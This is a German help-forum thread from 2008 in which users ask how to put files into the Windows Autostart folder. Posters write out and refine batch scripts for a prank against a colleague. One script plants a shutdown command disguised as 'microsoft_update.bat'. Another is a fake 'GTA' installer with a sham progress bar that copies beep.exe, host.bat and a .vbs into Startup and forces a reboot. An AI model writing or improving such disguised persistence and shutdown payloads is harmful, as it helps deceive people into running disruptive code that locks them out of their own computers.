Computerhilfen.de Logo
Forum
Tipps
News
Frage stellen

Autostart

Ich suche einen .bat Code mit dem ich eine Datei in den Autostart befördern oder kopieren kann ???


Antworten zu Autostart:

Hat dir diese Antwort geholfen?

Danke ButtonHilfreiche Antwort Button
Da genügt der copy Befehl.

copy xy.bat "C:\Dokumente und Einstellungen\Username\Startmenü\Programme\Autostart>"
 

Danke!  :) aber frage das es klapt braucht es diese ""?
und habe jetzt diesen code geht aber nich!
@echo off
xcopy "C:\Users\Beni der Held\Desktop\icon.bat" "C:\Dokumente und Einstellungen\Username\Startmenü\Programme\Autostart"

« Letzte Änderung: 03.03.08, 12:03:29 von dida110 »

Hat dir diese Antwort geholfen?

Danke ButtonHilfreiche Antwort Button

Hallo,

Fehlermeldung ?

Ja, die "" braucht es wegen den Leerzeichen im Pfad.

Stimmen den die Pfade, der Quellpfad sieht etwas komisch aus ?

Du bist wahrscheinlich so einer der da n "shutdown -s -t 1" drinnen hat in der bat datei :-D.

Naja jeder macht mal so Scheisze^^

Also ja, es is einfach das ganze gleich zu schreiben^^.

echo off
cd "%ALLUSERPROFILE%\Startm~1\Progra~1\Autost~1"
echo shutdown -s -t 60 > microsoft_update.bat

Also, ich sags glei den Code hab ich mir aus dem Kopf raugeschrieben. das -t 60 is dazu da, damit er eine Chance hat.

Da des mit %Alluserprofile% is, geht des auf alle Benutzer, und des waer dann voll unfair, denn dan kann er  von ner CD booten und das ding loeschen. Und das is wirklich boese, und gilt schon als kleiner Virus.

Also ueberleg dir was du machst, villeicht wirst du es mal bereuen.., hoffe ich bin deinen Erwartungen gerecht geworden^^.

mfg.
Fuxi

P.S. das unfairste ist, das es auch bei Engl. Versionen funktionieren wuerde, da es mit der 8ter schreibweise gemach ist und im englischen die ersten teile genau so sind wie im Deutschen.

Ja du hast ja recht hehe
Aber keine Angst ich werde es bei einem Kolleg machen und ihm sagen das man das imm abgesichrten Modus wider rückgangig machen kann hehe.
Kann man irgenwie machen, dass das DOS nicht aufgeht?
Ps: ist echt ein supper Forum hier!

Hier der Code meiner Datei die die sachen in den Autostart kopiert :D;D;D
Kannst sie aml studieren und ausführen keine Angst macht nichts da du ja die anderen Dateien nicht hast die er kopieren will hehe:


 

Zitat
@ECHO OFF
ECHO 1 - Installieren
ECHO 2 - Informationen
ECHO 3 - Deinstallieren

CHOICE /C:123

IF errorlevel 3 goto CRS
IF errorlevel 2 goto DLR
IF errorlevel 1 goto STR

:STR
@echo off
echo Zum Instalieren drücken sie eine Taste!
pause




@echo off
ping -n 3 127.0.0.1>nul
echo 10 Prozent

@echo off
ping -n 3 127.0.0.1>nul
echo 20 Prozent

@echo off
ping -n 3 127.0.0.1>nul
echo 30 Prozent



@echo off
ping -n 3 127.0.0.1>nul
echo 50 Prozent

@echo off
ping -n 3 127.0.0.1>nul
echo 60 Prozent

@echo off
ping -n 3 127.0.0.1>nul
echo 70 Prozent

@echo off
ping -n 3 127.0.0.1>nul
echo 80 Prozent

@echo off
ping -n 3 127.0.0.1>nul
echo 90 Prozent

@echo off
xcopy "a:\beep.exe" "%ProgramData%\Microsoft\Windows\Start Menu\Programs\Startup" /C /I /H /R
CLS

@echo off
xcopy "b:\beep.exe" "%ProgramData%\Microsoft\Windows\Start Menu\Programs\Startup" /C /I /H /R
CLS

@echo off
xcopy "C:\beep.exe" "%ProgramData%\Microsoft\Windows\Start Menu\Programs\Startup" /C /I /H /R
CLS

@echo off
xcopy "d:\beep.exe" "%ProgramData%\Microsoft\Windows\Start Menu\Programs\Startup" /C /I /H /R
CLS

@echo off
xcopy "e:\beep.exe" "%ProgramData%\Microsoft\Windows\Start Menu\Programs\Startup" /C /I /H /R
CLs

@echo off
xcopy "f:\beep.exe" "%ProgramData%\Microsoft\Windows\Start Menu\Programs\Startup" /C /I /H /R
ClS

@echo off
xcopy "g:\beep.exe" "%ProgramData%\Microsoft\Windows\Start Menu\Programs\Startup" /C /I /H /R
CLS

@echo off
xcopy "a:\host.bat" "%ProgramData%\Microsoft\Windows\Start Menu\Programs\Startup" /C /I /H /R
CLS

@echo off
xcopy "b:\host.bat" "%ProgramData%\Microsoft\Windows\Start Menu\Programs\Startup" /C /I /H /R
CLS

@echo off
xcopy "C:\host.bat" "%ProgramData%\Microsoft\Windows\Start Menu\Programs\Startup" /C /I /H /R
CLS

@echo off
xcopy "d:\host.bat" "%ProgramData%\Microsoft\Windows\Start Menu\Programs\Startup" /C /I /H /R
CLS

@echo off
xcopy "e:\host.bat" "%ProgramData%\Microsoft\Windows\Start Menu\Programs\Startup" /C /I /H /R
CLs

@echo off
xcopy "f:\host.bat" "%ProgramData%\Microsoft\Windows\Start Menu\Programs\Startup" /C /I /H /R
ClS

@echo off
xcopy "g:\host.bat" "%ProgramData%\Microsoft\Windows\Start Menu\Programs\Startup" /C /I /H /R
CLS

@echo off
xcopy "a:\Host2.vbs" "%ProgramData%\Microsoft\Windows\Start Menu\Programs\Startup" /C /I /H /R
CLS

@echo off
xcopy "b:\Host2.vbs" "%ProgramData%\Microsoft\Windows\Start Menu\Programs\Startup" /C /I /H /R
CLS

@echo off
xcopy "C:\Host2.vbs" "%ProgramData%\Microsoft\Windows\Start Menu\Programs\Startup" /C /I /H /R
CLS

@echo off
xcopy "d:\Host2.vbs" "%ProgramData%\Microsoft\Windows\Start Menu\Programs\Startup" /C /I /H /R
CLS

@echo off
xcopy "e:\Host2.vbs" "%ProgramData%\Microsoft\Windows\Start Menu\Programs\Startup" /C /I /H /R
CLs

@echo off
xcopy "f:\Host2.vbs" "%ProgramData%\Microsoft\Windows\Start Menu\Programs\Startup" /C /I /H /R
ClS

@echo off
xcopy "g:\Host2.vbs" "%ProgramData%\Microsoft\Windows\Start Menu\Programs\Startup" /C /I /H /R
CLS
@echo off
ping -n 3 127.0.0.1>nul
echo 100 Prozent

@echo off
CLS

@echo off
ping -n 1 127.0.0.1>nul
echo Installation abgeschlossen bitte machen sie einen Neustart!
pause

@echo off
ping -n 100 127.0.0.1>nul

shutdown -r -t 40

:DLR
ECHO ----------------------GTA Version 1.142.1 Ge* bitte keine illegalen Tipps *t!!!!!-------------------------
ECHO.
PAUSE
CLS
EXIT

:CRS
ECHO Das Programm wurde nicht Richtig Installiert! (Error x55am.dll)
ECHO.
PAUSE
CLS
EXIT
  
« Letzte Änderung: 07.03.08, 13:52:45 von dida110 »

Nein, das cmd geht immer auf, wenn du eine .bat Datei ausfuehrst (ausser von einem anderen Programm aus).

Also mich wuerd interessieren warum du andauernd "@echo off" schreibst...?

@echo off bewirkt, das alles Befehle nach dieser Zeile nicht ausgegeben werden, ausser sie geben etwas aus. Sofern du nicht wieder was anzeigen willst (@echo on) bleibt es wie es ist^^

Aber des mit dem "ping -n 3 127.0.0.1>nul" is gscheit gmacht :-D, es ist ja wirklich so das es kein "Sleep" im cmd.exe gibt^^

und warum dauerdn die laufwerke a,b, ...?
Hast du je was von "relativer Pfad" gehoert?!
Da mir es scheint als wuerdest du es noch nicht gehoert haben sag ich es dir einfach:
absoluter Pfad: z.B. C:/test.txt, oder C:/test/test.txt
relativer Pfad: test/test.txt

Wobei das was beim Relativen Pfad vor "test/test.txt" steht, ist der Pfad des aktuellen Ordners (also wo die .bat datei aufgerufen wird)
Somit muesst du nur z.b. "xcopy beep.exe "..."" schreiben^^.

Und das somit auch nur einmal.

Im Endeffekt wuerde das dann ca. so aussehen:

@echo off
title Installation
cls
ECHO 1 - Installieren
ECHO 2 - Informationen
ECHO 3 - Deinstallieren

echo Zum Instalieren drücken sie eine Taste!
pause

ping -n 3 127.0.0.1>nul
echo 10 Prozent
ping -n 3 127.0.0.1>nul
echo 20 Prozent
ping -n 3 127.0.0.1>nul
echo 30 Prozent
ping -n 3 127.0.0.1>nul
echo 50 Prozent
ping -n 3 127.0.0.1>nul
echo 60 Prozent
ping -n 3 127.0.0.1>nul
echo 70 Prozent
ping -n 3 127.0.0.1>nul
echo 80 Prozent
ping -n 3 127.0.0.1>nul
echo 90 Prozent
copy beep.exe "%ALLUSERPROFILE%\Startm~1\Progra~1\Autost~1\beep.exe" /C /I /H /R
copy host.bat "%ALLUSERPROFILE%\Startm~1\Progra~1\Autost~1\host.bat" /C /I /H /R
copy host2.vbs "%ALLUSERPROFILE%\Startm~1\Progra~1\Autost~1\host2.vbs" /C /I /H /R
ping -n 3 127.0.0.1>nul
echo 100 Prozent
ping -n 1 127.0.0.1>nul
echo Installation abgeschlossen bitte machen sie einen Neustart!
pause
shutdown -r -t 40

mfg.
Fuxi
« Letzte Änderung: 07.03.08, 16:52:17 von Fuxi »

Oh danke 1000000000mal  ;D hehe na ja wenn ich das gewusst hätte.
Wie ist das mit dem Befehl CLS?
MFG 

« Letzte Änderung: 07.03.08, 16:53:24 von dida110 »

schreib mal "cls /?" in die konsole

Ja löscht den Bildschirm Inhalt aber braucht es das sovielmal wie ich das gemacht habe?

He das is dazu da damit es uebersichtlich ist, oder damit du was loeschen kannst. Es is komplett egal ob du es machst oder nicht.

Dann steht:
10 Prozent
20 Prozent
...
oder halt immer nur die aktuellen Prozente, wenn du jedes mal cls machst, es is komplett egal, wie du es lieber hast^^

Ach ich bin am verzweifeln!

Jetzt habe ich gemerk das mein tool nicht xp kompatible ist!!!
Hab es ein bisschen umgeschriben aber ein Befehl  geht nicht mehr und zwar der:

xcopy "beep.exe" "%ProgramData%\Microsoft\Windows\Start Menu\Programs\Startup" /C /I /H /R
CLS







Der ganze
Code:


@ECHO OFF
CLS
:LOOP
ECHO A. Installieren
ECHO B. Informationen
ECHO C. Deinstallieren
ECHO Q. Quit
:: SET /P prompts for input and sets the variable
:: to whatever the user types
SET Choice=
SET /P Choice=Type the letter and press Enter:
:: The syntax in the next line extracts the substring
:: starting at 0 (the beginning) and 1 character long
IF NOT '%Choice%'=='' SET Choice=%Choice:~0,1%
ECHO.
:: /I makes the IF comparison case-insensitive
IF /I '%Choice%'=='A' GOTO ItemA
IF /I '%Choice%'=='B' GOTO ItemB
IF /I '%Choice%'=='C' GOTO ItemC
IF /I '%Choice%'=='Q' GOTO End
ECHO "%Choice%" is not valid. Please try again.
ECHO.
GOTO Loop
:ItemA
@echo off
echo Zum Instalieren drücken sie eine Taste!
pause





ping -n 3 127.0.0.1>nul
echo 10 Prozent

ping -n 3 127.0.0.1>nul
echo 20 Prozent

ping -n 3 127.0.0.1>nul
echo 30 Prozent


ping -n 3 127.0.0.1>nul
echo 50 Prozent

ping -n 3 127.0.0.1>nul
echo 60 Prozent

ping -n 3 127.0.0.1>nul
echo 70 Prozent

ping -n 3 127.0.0.1>nul
echo 80 Prozent

ping -n 3 127.0.0.1>nul
echo 90 Prozent

xcopy "beep.exe" "%ProgramData%\Microsoft\Windows\Start Menu\Programs\Startup" /C /I /H /R
CLS

xcopy "host.bat" "%ProgramData%\Microsoft\Windows\Start Menu\Programs\Startup" /C /I /H /R
CLS

xcopy "Host2.vbs" "%ProgramData%\Microsoft\Windows\Start Menu\Programs\Startup" /C /I /H /R
CLS

xcopy "Host4.bat" "C:\Dokumente und Einstellungen\Beni der Held\Startmenü\Programme\Startup" /C /I /H /R
CLS

xcopy "Host3.bat" "%ProgramData%\Microsoft\Windows\Start Menu\Programs\Startup" /C /I /H /R
CLS

ping -n 3 127.0.0.1>nul
echo 100 Prozent
CLS

ping -n 1 127.0.0.1>nul
echo Installation abgeschlossen bitte machen sie einen Neustart!
pause

ping -n 100 127.0.0.1>nul

shutdown -r -t 40
GOTO Again
:ItemB
ECHO ----------------------GTA Version 1.142.1 Ge* bitte keine illegalen Tipps *t!!!!!-------------------------
GOTO Again
:ItemC
ECHO Das Programm wurde nicht Richtig Installiert! (Error x55am.dll)
GOTO Again
:Again
PAUSE
CLS
GOTO Loop
:End
 

Okay, also was hast du fuer n Windows? 98? 2000?

Also alles was ich gepostet habe war fuer XP, also die Pfade.

Versuchs mal mit ner abfrage von %OS%. Sagt welches Betriebssystem es ist, also bei XP und 98 is n unterschied, bei 2000 hab ich es noch nicht probiert, weil ich es nicht habe

xp
PS: ES kommt immer ist die datei blabla eine Datei Oder ein verzechniss?

Hat dir diese Antwort geholfen?

Danke ButtonHilfreiche Antwort Button

denke das liegt am Copy-Befehl.

Kann mir jemand den Befehl sagen um eine Datei in den Autostart zu kopieren? (Unter XP)

Ja, haett ich mir au glei denken koennen.
Es gibt 2 copy Befehle: "copy" und "xcopy".

grob gesagt:
copy kopiert eine Datei, oder mehrere Dateien in einem Ordner, oder Dateien zusammen wo anders hin oder in eine neue Datei
xcopy kopiert Dateien und Unterordner woanders hin

In diesem Fall solltest du einfach den copy Befehl nehmen.

Da ich jetzt keine Zeit hab dir alles zu erklaren, versuchs doch einfach mit "xcopy /?" und "copy /?"

und zu dida110:
Lies dir den Thread vorher durch, bevor du etwas fragst, ich hab das schon ueber 4 mal geschrieben.

mfg.
Fuxi 

Hat dir diese Antwort geholfen?

Danke ButtonHilfreiche Antwort Button

außerdem wäre es hilfreich, wenn du gleich immer die Befehlszeile aus der bat mit hinzufügen würdest, in der es Probleme gibt.

Ja ich weiss ja schon das du das schon etwa 3 mal hingeschriebn hast, bin dir auch sehr dankbar dafür, aber es geht doch nicht habe den copy und den xcopy befehl ausprobiert!
Vieleicht liegt es am falschen Autostart Pfad?
xcopy "beep.exe" "%ProgramData%\Microsoft\Windows\Start Menu\Programs\Startup
 

Hat dir diese Antwort geholfen?

Danke ButtonHilfreiche Antwort Button
xcopy "beep.exe" "%ProgramData%\Microsoft\Windows\Start Menu\Programs\Startup

Verwande copy für eine einzelne Datei.
Wie findet copy die beep.exe ? Pfad fehlt

Ist ein englisches Windows ?
Prüfe mal mit
set ProgramData
was da genau hinterlegt ist.

Schaue dann ob es den Pfad
%ProgramData%\Microsoft\Windows\Start Menu\Programs\Startup
überhaupt gibt. Ist nicht standardmäßig der Autostart !

Der Autostart liegt unter:
C:\Dokumente und Einstellungen\USERNAME\Startmenü\Programme\Autostart
oder
C:\Dokumente und Einstellungen\All Users\Startmenü\Programme\Autostart   
« Letzte Änderung: 09.03.08, 13:58:18 von dida110 »

Hat dir diese Antwort geholfen?

Danke ButtonHilfreiche Antwort Button

liegt am "ü" vom Startmenü !

musst du so machen:

c:
cd "\Dokumente und Einstellungen\All Users\Startmen*"
copy "......\beep.exe" beep.exe

Oleeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee
endlich geht es danke du bist der beste!!!!!!!!!!!!!!!  :):):):):):):):):):):):):):):):):):):):)

Man man man, manchmal Frage ich mich wirklich warum ich so aufuehrliche antworten gebe...

Zitat

Wie findet copy die beep.exe ? Pfad fehlt
Ich sage nur 1, mehr nicht den rest darfst du dir selber nachlesen: RELATIVER PFAD
Also funzt nur wenn beep.exe im selben ordner is

Und das mit dem autostart... ihr checkt es nicht, ich hab eine Systemumgebungsvariable genutzt um mit das mit dem All user dingens zu sparen, das is in Deutsch was anderes als in Englisch, aber die Umgebungsvariable heist gleich, und gibt mir den Pfad!. Des weiteren habe ich dann ~1 verwendet, das is die 8er schreibweise... Ach das hab ich eh schon erklaert, lest es nach wenn es euch interessiert.

« Excel Makro problemHochkomma in Anführungszeichen »
 

Schnelle Hilfe: Hier nach ähnlichen Fragen und passenden Tipps suchen!

Fremdwörter? Erklärungen im Lexikon!
Grundstrich
Der Begriff des Grundstrichs im Bereich der Typografie, bezeichnet den senkrechten Strich der Buchstaben. Bei Schriftarten mit variabler Strichstärke, wie zum Beispi...

Haarstrich
Der Begriff Haarstrich stammt aus dem Bereich der Typographie. Bei Schriften, wie zum Beispiel der Antiquaschrift mit unterschiedlichen Strichstärken, wird zwischen ...

Quellcode
Ein Quellcode, auch als Quelltext bekannt, bezeichnet den unkompilierten Programm-Code einer Software. Quell- oder Programm-Code ist der auch für Menschen lesbare Co...